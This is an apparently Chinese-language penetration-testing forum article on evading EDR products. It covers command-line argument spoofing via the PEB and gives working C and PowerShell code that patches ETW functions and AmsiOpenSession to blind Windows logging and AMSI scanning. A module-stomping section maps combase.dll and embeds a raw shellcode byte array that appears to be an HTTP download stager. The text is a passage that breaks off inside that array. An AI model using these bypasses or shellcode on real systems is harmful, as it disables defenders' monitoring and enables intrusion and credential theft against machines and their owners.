问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
从EDR特性出发到对抗EDR
渗透测试
大家可能都了解``EDR``的一些特性,包括一些内存扫描,用户态挂钩,调用堆栈分析以及签名扫描等等。这一节我们将来看看如何对抗``EDR``。
##### 命令行参数欺骗 `EDR`通过大量的传感器来接收事件,这些传感器的可信度是各不相同的。此外,许多与进程相关的重要信息并不会直接包含在事件数据中。而是需要从内核或进程的内存空间中去获取。 例如: `PEB`: `PEB`中包含了命令行参数以及父进程的`ID`等信息。 很多针对`EDR`的攻击都是依赖于`TOCTOU`漏洞,该漏洞为检查时刻与使用时刻之间的时间差,这意味着`EDR`在检查某个事件时,可能会基于旧数据进行决策。攻击者可以在事件被检测之后,被使用之前,修改关键数据,从而绕过安全检查。 什么意思呢?`TOCTOU`漏洞其实就是检查时间和使用时间的间隔,其实就是一种竞态条件漏洞。指的是系统在检查某个资源时和实际使用该资源之间的事件间隔。攻击者可以在该时间间隔来修改资源,从而绕过。 我们来举一个例子: 进程启动之后,`EDR`可能会检查其`PEB`结构中的命令行参数,攻击者可以利用`EDR`检测之后来修改`PEB`中的命令行参数,改变程序的行为。`EDR`可能记录了启动时的参数,但执行时参数已经发生变化,导致检测失效。 `EDR`可以通过进程启动时的参数来判断是否是恶意行为。比如我们使用`mimikatz.exe`来导出凭据的时候,可能会使用`mimikatz.exe "privilege::debug" "lsadump::sam"`该命令。 即使攻击者将`mimikatz.exe`修改为`notepad.exe`或者一些合法且正常程序的名称,但是命令行参数依然会暴露出恶意的行为。 那么`EDR`是如何去检测命令行的呢?`EDR`可以监控新进程的命令行参数,在`Windows`上可以使用`Event ID 4688`来捕获进程启动时的完整命令行。 `EDR`维护了一个已知恶意参数的列表,比如`"privilege::debug"、"sekurlsa::logonpasswords"`,如果发现这些关键字就会触发警报。 而在`Windows`中命令行参数是可以伪造的,进程的命令行参数是存储在`PEB`中的,攻击者可以在进程启动后去修改`PEB->ProcessParameters->CommandLine`,从而伪造命令行参数。 如果使用`CreateProcess`函数,在启动新进程时会包含初始的参数,但是这些参数是不会被内核强制验证的,攻击者可以利用不同的方式来伪造或隐藏真实的参数。 `Windows`进程的命令行参数主要存储在两个地方: 1. 当进程启动时,它的命令行参数会存储在`PEB`中,`PEB->ProcessParameters->CommandLine`,攻击者可以在进程启动后来修改这个值,从而伪造命令行参数。 2. 在`Windows`中,父进程创建子进程时,通常会调用`CreateProcess`函数,该函数可以指定初始化的参数。 由于`PEB`可被进程自身来进行更改,所以其中的数据是不可信的,但是`EDR`在查询进程的命令行时,通常会直接信任`PEB`中的`CommandLine`,这可能导致被攻击者伪造或隐藏真实参数绕过。 当父进程调用`CreateProcess`来创建一个子进程时,操作系统会启动新的子进程。`CreateProcess`函数会接收命令行参数,比如启动子进程时传递的文件名以及命令,并将这些参数保存到进程的`PEB`中。`EDR`可以通过监控`CreateProcess`事件并检查命令行参数来检测潜在的恶意行为。但是攻击者可以通过如下来绕过`EDR`: 1. 父进程首先创建一个挂起状态的子进程,首先传递虚假的命令行参数。 2. `EDR`捕获到进程事件时,会看到虚假的命令行参数。 3. 父进程随后修改子进程的`PEB`,将真实的命令行参数写入到其中,然后继续启动子进程。 我们来拿上几节的参数欺骗举例子: 如下可以看到成功欺骗了该`Process Hacker`。  成功欺骗`Sysmon`。  ##### Bypass ETW `ETW`是一种`Windows`内核和应用程序级的事件跟踪机制,允许捕获系统运行时的事件,`EtwEventWrite`函数是用于生成这些事件的函数。当恶意软件或攻击者希望隐藏进程的活动或避免监控时,他们可能会使用`ETW`补丁技术来拦截或修改`EtwEventWrite`函数,从而阻止进程生成`ETW`事件。 有几个函数是用于写入和记录`ETW`事件的。分别为`EtwEventWrite`,`EtwEventWriteFull`,`EtwEventWriteTransfer`函数。 我们可以在这三个目标函数的开头去插入一个`ret`的指令,那么当这三个函数被调用时,执行就会立即返回给调用者,而无需运行原始函数的代码逻辑。 也就是说我们只需要在`EtwEventWrite`函数的开头去插入`xor eax,eax`指令,将其返回值设置为零,然后插入`ret`指令,使函数立即返回即可。 那么接下来修补就很简单了,我们只需要获取到`EtwEventWrite`以及`EtwEventwriteFull`函数的基址,然后修改其内存保护权限为`RWX`,最后将我们的指令插入进去即可。 代码这里有一个简单的例子: ```c #include <windows.h> #include <stdio.h> #include <evntprov.h> typedef enum { PATCH_ETW_EVENTWRITE, PATCH_ETW_EVENTWRITE_FULL } PATCH; unsigned char patch[] = { 0x33, 0xC0, 0xC3 }; void* GetTargetFunction(PATCH patchType) { if (patchType == PATCH_ETW_EVENTWRITE) { return GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite"); } else if (patchType == PATCH_ETW_EVENTWRITE_FULL) { return GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWriteFull"); } return NULL; } void PatchwWriteFunc(PATCH patchType) { void* targetFunction = GetTargetFunction(patchType); if (targetFunction == NULL) { printf("目标函数地址获取失败\n"); return; } DWORD oldProtect; if (!VirtualProtect(targetFunction, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect)) { printf("无法修改内存保护属性\n"); return; } memcpy(targetFunction, patch, sizeof(patch)); VirtualProtect(targetFunction, sizeof(patch), oldProtect, &oldProtect); printf("address : 0x%p ", targetFunction); printf("修补成功\n"); } int main() { PatchwWriteFunc(PATCH_ETW_EVENTWRITE); getchar(); return 0; } ``` 我们可以从`x64dbg`中得知已经插入成功了。  需要注意的是虽然我们成功修补了该函数,但是由于常见的用户态`ETW`事件其实并不多,所以它的实际作用也不会那么显著。 还有一个函数是`NtTraceEvent`函数,该函数不仅会被`EtwEventWrite`和`EtwEventWriteFull`函数调用,还会被其他的`Etw`相关的函数调用,所以我们要修补该函数。那么我们也可以通过上面的方式来进行修改,这里还有另外一种方式就是通过修改`SSN`编号来达到调用失败的目的,我们可以将其`NtTraceEvent`函数的`SSN`编号修改为`FF`,它就无法调用了。 那么首先需要找到该函数的`SSN`编号,最后通过`VirtualProtect`修改内存保护权限,然后将我们的`SSN`编号写进去即可。 ```c #include <windows.h> #include <stdio.h> #include <evntprov.h> typedef enum { PATCH_NT_TRACE_EVENT, PATCH_ETW_EVENTWRITE, PATCH_ETW_EVENTWRITE_FULL } PATCH; unsigned char patch[] = { 0x33, 0xC0, 0xC3 }; void* GetTargetFunction(PATCH patchType) { switch (patchType) { case PATCH_NT_TRACE_EVENT: return GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent"); case PATCH_ETW_EVENTWRITE: return GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite"); case PATCH_ETW_EVENTWRITE_FULL: return GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWriteFull"); default: return NULL; } } // 修补 NtTraceEvent 的 SSN void PatchNtTraceEventSSN() { // 获取 NtTraceEvent 函数地址 void* targetFunction = GetTargetFunction(PATCH_NT_TRACE_EVENT); if (targetFunction == NULL) { printf("目标函数地址获取失败\n"); return; } // 搜索 B8 操作码,类似于 mov eax 指令 unsigned char* functionStart = (unsigned char*)targetFunction; unsigned char* functionEnd = functionStart + 0x20; // 假设函数前20字节包含 SSN for (unsigned char* p = functionStart; p < functionEnd; ++p) { if (*p == 0xB8) { // 找到 mov eax 操作码 DWORD oldProtect; if (!VirtualProtect(p, 6, PAGE_EXECUTE_READWRITE, &oldProtect)) { printf("无法修改内存保护属性\n"); return; } // 修改 SSN 为 0xFF(无效值) *(DWORD*)(p + 1) = 0xFF; // 恢复内存保护属性 VirtualProtect(p, 6, oldProtect, &oldProtect); printf("修补成功\n"); return; } } printf("未找到 B8 操作码\n"); } int main() { PatchNtTraceEventSSN(); getchar(); return 0; } ```  那么我们再看观察一下`EtwEventWrite` `EtwEventWriteFull` `EtwEventWriteEx`函数。 我们会发现这三个函数最终都会调用到`0x7FFC217C00B4`这个地址。   那么该地址其实对应的是`EtwpEventWirteFull`函数,但是该函数是在`x64dbg`中看不到的,我们可以在`Ida`中查看,这里我就不给大家看了,大家可以自行去查看。 那么我们就可以修补该函数来达到`Bypass Etw`的效果。我们可以直接将其`call`指令替换为`nop`指令。`call`指令是`1`个字节,那么后面如果跟地址的话,地址是4个字节,也就是说我们如果想要去替换`call`指令,那么至少肯定是需要`5`个字节的。`nop`指令的操作码是`90`。 如下代码: ```c #include <windows.h> #include <stdio.h> // 定义各种指令的操作码 #define x64_CALL_INSTRUCTION_OPCODE 0xE8 // CALL 指令的操作码 #define x64_RET_INSTRUCTION_OPCODE 0xC3 // RET 指令的操作码 #define x64_INT3_INSTRUCTION_OPCODE 0xCC // INT3 指令的操作码 (用于断点) #define NOP_INSTRUCTION_OPCODE 0x90 // NOP 指令的操作码 (空操作) #define PATCH_SIZE 0x05 // 补丁大小,5 字节 // 定义补丁类型的枚举,用于指定要修补的函数 enum PATCH { PATCH_NT_TRACE_EVENT, // NtTraceEvent (示例中未使用) PATCH_ETW_EVENTWRITE, // EtwEventWrite PATCH_ETW_EVENTWRITE_FULL // EtwEventWriteFull }; // 函数声明 void* GetTargetFunction(enum PATCH patchType); BOOL PatchCallInstruction(void* pFunction); // 获取目标函数的地址,根据不同的补丁类型 void* GetTargetFunction(enum PATCH patchType) { switch (patchType) { case PATCH_ETW_EVENTWRITE: // 获取 "ntdll.dll" 模块中的 "EtwEventWrite" 函数地址 return GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite"); case PATCH_ETW_EVENTWRITE_FULL: // 获取 "ntdll.dll" 模块中的 "EtwEventWriteFull" 函数地址 return GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWriteFull"); default: // 如果没有匹配的补丁类型,返回 NULL return NULL; } } // 修补函数,通过修改 CALL 指令来注入 NOP 指令(无操作) BOOL PatchCallInstruction(void* pFunction) { int i = 0; DWORD dwOldProtection = 0x00; // 保存原来的内存保护标志 PBYTE pFuncAddress = (PBYTE)pFunction; // 将函数地址转换为字节指针 // 查找 'ret' 指令和 'int3' 指令的位置 while (1) { if (pFuncAddress[i] == x64_RET_INSTRUCTION_OPCODE && pFuncAddress[i + 1] == x64_INT3_INSTRUCTION_OPCODE) { printf("[*] Found 'ret' instruction at address: %p\n", &pFuncAddress[i]); break; } i++; } // 向后查找 CALL 指令 while (i) { if (pFuncAddress[i] == x64_CALL_INSTRUCTION_OPCODE) { pFuncAddress = (PBYTE)&pFuncAddress[i]; printf("[*] Found 'call' instruction at address: %p\n", &pFuncAddress[i]); break; } i--; } // 将内存权限更改为 RWX(可读写执行),以便修改代码 if (!VirtualProtect(pFuncAddress, PATCH_SIZE, PAGE_EXECUTE_READWRITE, &dwOldProtection)) { printf("[!] VirtualProtect [1] failed with error %d \n", GetLastError()); return FALSE; } // 将目标地址处的指令替换为 NOP 指令,实际上就是跳过这些指令 for (int j = 0; j < PATCH_SIZE; j++) { pFuncAddress[j] = NOP_INSTRUCTION_OPCODE; // 通过 NOP 指令实现跳过 } // 恢复原来的内存保护 if (!VirtualProtect(pFuncAddress, PATCH_SIZE, dwOldProtection, &dwOldProtection)) { printf("[!] VirtualProtect [2] failed with error %d \n", GetLastError()); return FALSE; } return TRUE; } int main() { // 获取 "EtwEventWrite" 函数的地址 void* pNtTraceEvent = GetTargetFunction(PATCH_ETW_EVENTWRITE); // 对该函数进行修补,替换为 NOP 指令 PatchCallInstruction(pNtTraceEvent); // 等待用户输入 getchar(); return 0; } ```  ##### Bypass AMSI `AMSI`是`Windows`中的一项功能,它是一个反恶意软件扫描的接口,`AMSI`的目的是将应用程序与反恶意软件产品提供的常见软件扫描和保护技术无缝的集成在一起。它能够与流行的脚本语言,比如`powershell`,`jscript` `vbscript`紧密集合。 `AMSI`是基于签名来检查的,这意味着`AMSI`有一个非常庞大的签名库。其实就是签名字符串,这些签名会和一些特定的恶意关键字,`URL`,函数来相对应。`AMSI`是作为一个安全功能来存在的,它不会依赖于任何第三方恶意软件供应商来进行检测和防护。它可以和第三方反病毒产品协同合作,但是它不会依赖于第三方反病毒软件的签名库,因为它有自己的签名库。 `AMSI`是通过使用`AMSI`相关的`API`函数来进行扫描和检测工作。这些`API`都是从`amsi.dll`中导出的。这个`dll`会被注入到目标程序的虚拟内存中,以启动扫描和检测潜在的风险。 这里简单了解几个函数: 1. `AmsiOpenSession`函数: 该函数用于启动一个`AMSI`的会话,以便随后可以扫描和分析其内容,具体来说`AmsiOpenSession`会创建一个会话的句柄。 2. `AmsiScanBuffer`函数: 该函数用于将一个内存缓冲区提交给`AMSI`进行扫描,该缓冲区可以是任何内容,比如脚本,文件内容,内存数据等等。 3. `AmsiScanString`函数: 该函数还会将一个字符串提交给`Amsi`进行扫描,该字符串可以包含脚本,命令或文本数据,`Amsi`会对其字符串进行分析,并返回指示其是否包含恶意内容的结果。 前面说过,`amsi.dll`会被注入到目标进程的虚拟地址空间中,那么哪些进程会被注入呢?比如`powershell`,`cscript`,`jscript`等等。 如下图:  我们可以在这如上的三个函数中下断点,看是否会调用到这三个函数。  当我们执行`invoke-mimikatz`命令时: 断点会在`AmsiOpenSession`这里断下。  接下来会在`AmsiScanString`这个函数这里断下。  如下被拦截下那么将产生 "已被你的防病毒软件阻止"。  一般我们可以使用如下来混淆`powershell`脚本: <https://amsi.fail/> 那么修补`AMSI`其实和修补`ETW`是差不多的,但是在这之前我们需要注意的是如果`Defender`没有开启,那么`Amsi`将没有任何作用。 比如我们将其`Defender`关闭:  那么如果将其打开,会发现检测到了。  在修补`Amsi`相关函数之前,我们来首先来看看`AmsiOpenSession`函数。  这段汇编主要是检测参数的有效性,首先检查传入的参数`rdx`和`rcx`寄存器是否为空,验证`rcx`寄存器指向的结构是否是`AMSI`相关的数据,以及检查结构体内的关键指针是否为`NULL`。 如果任意的条件不满足则会跳转到`7FFC1A9D23FB`该地址,该地址的汇编指令用于错误处理和直接返回。 那么修补的话就很简单了,我们只需要在提供有效参数的同时,让他跳转到`7FFC1A9D23FB`地址即可。 那么我们可以将`je`指令修改为`jne`指令,`je`指令是当比较两个值相等时,执行跳转。而`jne`指令是比较两个值不相等时执行跳转。 如下代码: ```c #include <windows.h> #include <stdio.h> // 定义 x64 汇编指令的操作码(opcode) #define x64_RET_INSTRUCTION_OPCODE 0xC3 // `RET`(函数返回) #define x64_INT3_INSTRUCTION_OPCODE 0xCC // `INT3`(调试中断) #define x64_JE_INSTRUCTION_OPCODE 0x74 // `JE`(等于时跳转) #define x64_JNE_INSTRUCTION_OPCODE 0x75 // `JNE`(不等时跳转) /** * @brief 修改 AmsiOpenSession 使其绕过安全检测 * @param pAmsiOpenSession 指向 AmsiOpenSession 函数代码的指针 * @return 成功返回 TRUE,失败返回 FALSE */ BOOL PatchAmsiOpenSessionJe(IN PBYTE pAmsiOpenSession) { PBYTE px74Opcode = NULL; // 用于存储 `JE` 指令的位置 DWORD i = 0x00, dwOldProtection = 0x00; // `i` 用于遍历代码,`dwOldProtection` 存储原始内存保护 if (!pAmsiOpenSession) { // 如果 `pAmsiOpenSession` 为空,则返回 `FALSE` return FALSE; } // **第一步:找到 `AmsiOpenSession` 末尾的 `RET; INT3; INT3` 结构** while (1) { if (pAmsiOpenSession[i] == x64_RET_INSTRUCTION_OPCODE && // `RET` pAmsiOpenSession[i + 1] == x64_INT3_INSTRUCTION_OPCODE && // `INT3` pAmsiOpenSession[i + 2] == x64_INT3_INSTRUCTION_OPCODE) { // `INT3` break; // 找到 `AmsiOpenSession` 代码末尾,退出循环 } i++; if (i > 0x1000) { // 限制搜索范围,防止死循环 return FALSE; } } // **第二步:从 `RET` 向前查找 `JE` 指令** while (i) { if (pAmsiOpenSession[i] == x64_JE_INSTRUCTION_OPCODE) { // 查找 `JE`(0x74) px74Opcode = &pAmsiOpenSession[i]; // 记录 `JE` 的内存地址 break; } i--; } if (!px74Opcode) { // 如果没有找到 `JE` 指令,返回 `FALSE` return FALSE; } // **第三步:修改内存保护,使其可写** if (!VirtualProtect(px74Opcode, 0x01, PAGE_EXECUTE_READWRITE, &dwOldProtection)) { return FALSE; } // **第四步:修改 `JE` 为 `JNE`** *(BYTE*)px74Opcode = x64_JNE_INSTRUCTION_OPCODE; // 将 `0x74` 改为 `0x75` // 确保修改成功 if (*(BYTE*)px74Opcode != x64_JNE_INSTRUCTION_OPCODE) { return FALSE; } // **第五步:恢复内存保护** if (!VirtualProtect(px74Opcode, 0x01, dwOldProtection, &dwOldProtection)) { return FALSE; } return TRUE; // 修改成功 } int main() { // **第一步:加载 `amsi.dll`** if (!LoadLibrary(TEXT("amsi.dll"))) { return -1; // 加载失败 } // **第二步:获取 `AmsiOpenSession` 的地址** PVOID pAmsiOpenSession = GetProcAddress(GetModuleHandle(TEXT("amsi.dll")), "AmsiOpenSession"); if (!pAmsiOpenSession) { return -1; // 获取失败 } // **第三步:修改 `AmsiOpenSession` 的 `JE` 指令** if (PatchAmsiOpenSessionJe((PBYTE)pAmsiOpenSession)) { printf("Patch success!\n"); // 修改成功 } else { printf("Patch error!\n"); // 修改失败 } getchar(); // 等待用户输入 return 0; } ```  那么我们也可以使用`powershell`来进行编写如上代码: 重命名为: `invoke.ps1`执行即可。 ```c $Win32API = @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr LoadLibrary(string lpLibFileName); [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ Add-Type -TypeDefinition $Win32API -PassThru # 加载 amsi.dll $amsi = [Win32]::LoadLibrary("amsi.dll") if ($amsi -eq [IntPtr]::Zero) { Write-Host "[-] 无法加载 amsi.dll" exit } # 获取 AmsiOpenSession 的地址 $amsiOpenSession = [Win32]::GetProcAddress($amsi, "AmsiOpenSession") if ($amsiOpenSession -eq [IntPtr]::Zero) { Write-Host "[-] 无法找到 AmsiOpenSession" exit } Write-Host "[*] AmsiOpenSession 地址: $([Convert]::ToString($amsiOpenSession.ToInt64(), 16))" # 修改内存保护,使其可写 $oldProtect = 0 [Win32]::VirtualProtect($amsiOpenSession, 0x1000, 0x40, [ref]$oldProtect) # 初始化变量 $i = 0 $foundJE = $false $maxSearch = 0x1000 # 限制搜索范围 # 第一轮:寻找 `RET` + `INT3` + `INT3` 的模式(即结束标记) while ($i -lt $maxSearch) { $byte = New-Object byte[] 3 $currentAddress = [System.IntPtr]::Add($amsiOpenSession, $i) # 使用 IntPtr.Add 来处理偏移 [System.Runtime.InteropServices.Marshal]::Copy($currentAddress, $byte, 0, 3) # 检查是否匹配 `RET` + `INT3` + `INT3` if ($byte[0] -eq 0xC3 -and $byte[1] -eq 0xCC -and $byte[2] -eq 0xCC) { Write-Host "[*] 找到 `RET` + `INT3` + `INT3`,退出查找" break } $i++ } # 第二轮:从 `RET` 向前查找 `JE` 指令(0x74) while ($i -gt 0) { $byte = New-Object byte[] 1 $currentAddress = [System.IntPtr]::Add($amsiOpenSession, $i) # 使用 IntPtr.Add 来处理偏移 [System.Runtime.InteropServices.Marshal]::Copy($currentAddress, $byte, 0, 1) if ($byte[0] -eq 0x74) { # 0x74 = `JE` Write-Host "[*] 找到 `JE` 指令,开始修改..." # 修改为 `JNE`(0x75) $newBytes = [byte[]] (0x75) # 0x75 = `JNE` [System.Runtime.InteropServices.Marshal]::Copy($newBytes, 0, $currentAddress, 1) Write-Host "[+] 修改成功!AMSI 已绕过!" $foundJE = $true break } $i-- } # 如果没有找到 `JE` 指令 if (-not $foundJE) { Write-Host "[-] 未找到 `JE` 指令,修改失败!" } # 还原内存保护 [Win32]::VirtualProtect($amsiOpenSession, 0x1000, $oldProtect, [ref]$null) ``` 在没有执行之前:  执行之后:  我们再来看看`powershell`中加载的`amsi`。  ##### 模块踩踏 模块踩踏主要是将`shellcode`注入到合法`DLL`的`.text`部分。这样我们就不需要去申请内存了,之前我们是通过`VirtualAlloc`申请私有内存,将`shellcode`写入到其中。 `.text`部分是通常包含了可执行的代码,那么攻击者就可以覆盖其这部分代码,将合法的代码替换为`shellcode`。 那么首先肯定是需要去加载某个`DLL`文件的,一般我们会使用`LoadLibrary`函数去动态加载`DLL`,但是这会出现一个问题,通过`LoadLibrary`函数去动态加载`DLL`会受到控制流(`CFG`)的限制。`CFG`会组织执行未经过签名的和验证的代码。 这里可以使用`NtCreateSection`函数以及`NtMapViewOfSection`函数来手动映射`DLL`文件,这可以确保映射的内存区域为`SEC_IMAGE`权限。 `NtCreateSection`函数用于创建一个节对象,该对象可以用于映射内存,节对象可以是文件,物理内存。 `NtMapViewOfSection`函数用于将一个节对象映射到当前进程或另外的进程地址空间中。 如下代码: ```c #include <windows.h> #include <stdio.h> #include <winternl.h> // 手动定义 SECTION_INHERIT typedef enum _SECTION_INHERIT { ViewShare = 1, ViewUnmap = 2 } SECTION_INHERIT; // NtCreateSection 函数指针定义 typedef NTSTATUS(NTAPI* pNtCreateSection)( PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL ); // NtMapViewOfSection 函数指针定义 typedef NTSTATUS(NTAPI* pNtMapViewOfSection)( HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset OPTIONAL, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect ); #define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1) int main() { HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); pNtCreateSection NtCreateSection = (pNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection"); pNtMapViewOfSection NtMapViewOfSection = (pNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection"); HANDLE hFile = INVALID_HANDLE_VALUE; hFile = CreateFileW(L"C:\\Windows\\System32\\combase.dll",GENERIC_READ, 0,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL); PHANDLE hSection = NULL; NtCreateSection(&hSection, SECTION_ALL_ACCESS,NULL,0x00, PAGE_READONLY, SEC_IMAGE, hFile); ULONG_PTR uMappedModule = NULL; SIZE_T sViewSize = NULL; NtMapViewOfSection(hSection, NtCurrentProcess(), &uMappedModule,NULL,NULL,NULL,&sViewSize, ViewShare, NULL,PAGE_EXECUTE_READWRITE); } ```  加载`DLL`之后,我们需要去验证一下`DLL`的`.text`部分是否可以容纳我们的`shellcode`。需要注意的是我们不会在`.text`部分的开头去注入`shellcode`,而是在入口点注入,入口点是程序开始执行的地址,通过在入口点注入`shellcoe`,可以确保当程序执行时,会首先执行我们的`shellcode`。 如下代码: ```c #include <windows.h> #include <stdio.h> #include <winternl.h> // 手动定义 SECTION_INHERIT typedef enum _SECTION_INHERIT { ViewShare = 1, ViewUnmap = 2 } SECTION_INHERIT; // NtCreateSection 函数指针定义 typedef NTSTATUS(NTAPI* pNtCreateSection)( PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL ); // NtMapViewOfSection 函数指针定义 typedef NTSTATUS(NTAPI* pNtMapViewOfSection)( HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset OPTIONAL, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect ); #define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1) #define DEMON #ifdef DEMON unsigned char shellcode[] = { 0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x66, 0x81, 0x78, 0x18, 0x0B, 0x02, 0x75, 0x72, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x4F, 0xFF, 0xFF, 0xFF, 0x5D, 0x6A, 0x00, 0x49, 0xBE, 0x77, 0x69, 0x6E, 0x69, 0x6E, 0x65, 0x74, 0x00, 0x41, 0x56, 0x49, 0x89, 0xE6, 0x4C, 0x89, 0xF1, 0x41, 0xBA, 0x4C, 0x77, 0x26, 0x07, 0xFF, 0xD5, 0x48, 0x31, 0xC9, 0x48, 0x31, 0xD2, 0x4D, 0x31, 0xC0, 0x4D, 0x31, 0xC9, 0x41, 0x50, 0x41, 0x50, 0x41, 0xBA, 0x3A, 0x56, 0x79, 0xA7, 0xFF, 0xD5, 0xEB, 0x73, 0x5A, 0x48, 0x89, 0xC1, 0x41, 0xB8, 0x61, 0x1F, 0x00, 0x00, 0x4D, 0x31, 0xC9, 0x41, 0x51, 0x41, 0x51, 0x6A, 0x03, 0x41, 0x51, 0x41, 0xBA, 0x57, 0x89, 0x9F, 0xC6, 0xFF, 0xD5, 0xEB, 0x59, 0x5B, 0x48, 0x89, 0xC1, 0x48, 0x31, 0xD2, 0x49, 0x89, 0xD8, 0x4D, 0x31, 0xC9, 0x52, 0x68, 0x00, 0x02, 0x40, 0x84, 0x52, 0x52, 0x41, 0xBA, 0xEB, 0x55, 0x2E, 0x3B, 0xFF, 0xD5, 0x48, 0x89, 0xC6, 0x48, 0x83, 0xC3, 0x50, 0x6A, 0x0A, 0x5F, 0x48, 0x89, 0xF1, 0x48, 0x89, 0xDA, 0x49, 0xC7, 0xC0, 0xFF, 0xFF, 0xFF, 0xFF, 0x4D, 0x31, 0xC9, 0x52, 0x52, 0x41, 0xBA, 0x2D, 0x06, 0x18, 0x7B, 0xFF, 0xD5, 0x85, 0xC0, 0x0F, 0x85, 0x9D, 0x01, 0x00, 0x00, 0x48, 0xFF, 0xCF, 0x0F, 0x84, 0x8C, 0x01, 0x00, 0x00, 0xEB, 0xD3, 0xE9, 0xE4, 0x01, 0x00, 0x00, 0xE8, 0xA2, 0xFF, 0xFF, 0xFF, 0x2F, 0x7A, 0x47, 0x6B, 0x31, 0x00, 0xC4, 0x8F, 0x78, 0xBD, 0x62, 0x9C, 0xBC, 0x6F, 0xEA, 0x30, 0x98, 0x43, 0xEF, 0xC1, 0x45, 0xE5, 0x58, 0xF8, 0xBB, 0xEA, 0xAB, 0x02, 0xF3, 0x0A, 0x13, 0x81, 0xE9, 0xA3, 0x1E, 0x54, 0xF2, 0x5E, 0x08, 0x98, 0x21, 0xFB, 0x7D, 0x47, 0x10, 0xBA, 0x60, 0xA0, 0x83, 0x82, 0xFE, 0x10, 0x64, 0xBF, 0x7A, 0xD0, 0xF6, 0xCE, 0xA0, 0xA9, 0x59, 0x90, 0x54, 0x88, 0x88, 0xDA, 0x20, 0xBF, 0x82, 0xFA, 0xAA, 0x43, 0x6D, 0x8E, 0x45, 0x59, 0x13, 0x09, 0x16, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2D, 0x41, 0x67, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x4D, 0x6F, 0x7A, 0x69, 0x6C, 0x6C, 0x61, 0x2F, 0x34, 0x2E, 0x30, 0x20, 0x28, 0x63, 0x6F, 0x6D, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6C, 0x65, 0x3B, 0x20, 0x4D, 0x53, 0x49, 0x45, 0x20, 0x38, 0x2E, 0x30, 0x3B, 0x20, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x4E, 0x54, 0x20, 0x36, 0x2E, 0x31, 0x3B, 0x20, 0x57, 0x4F, 0x57, 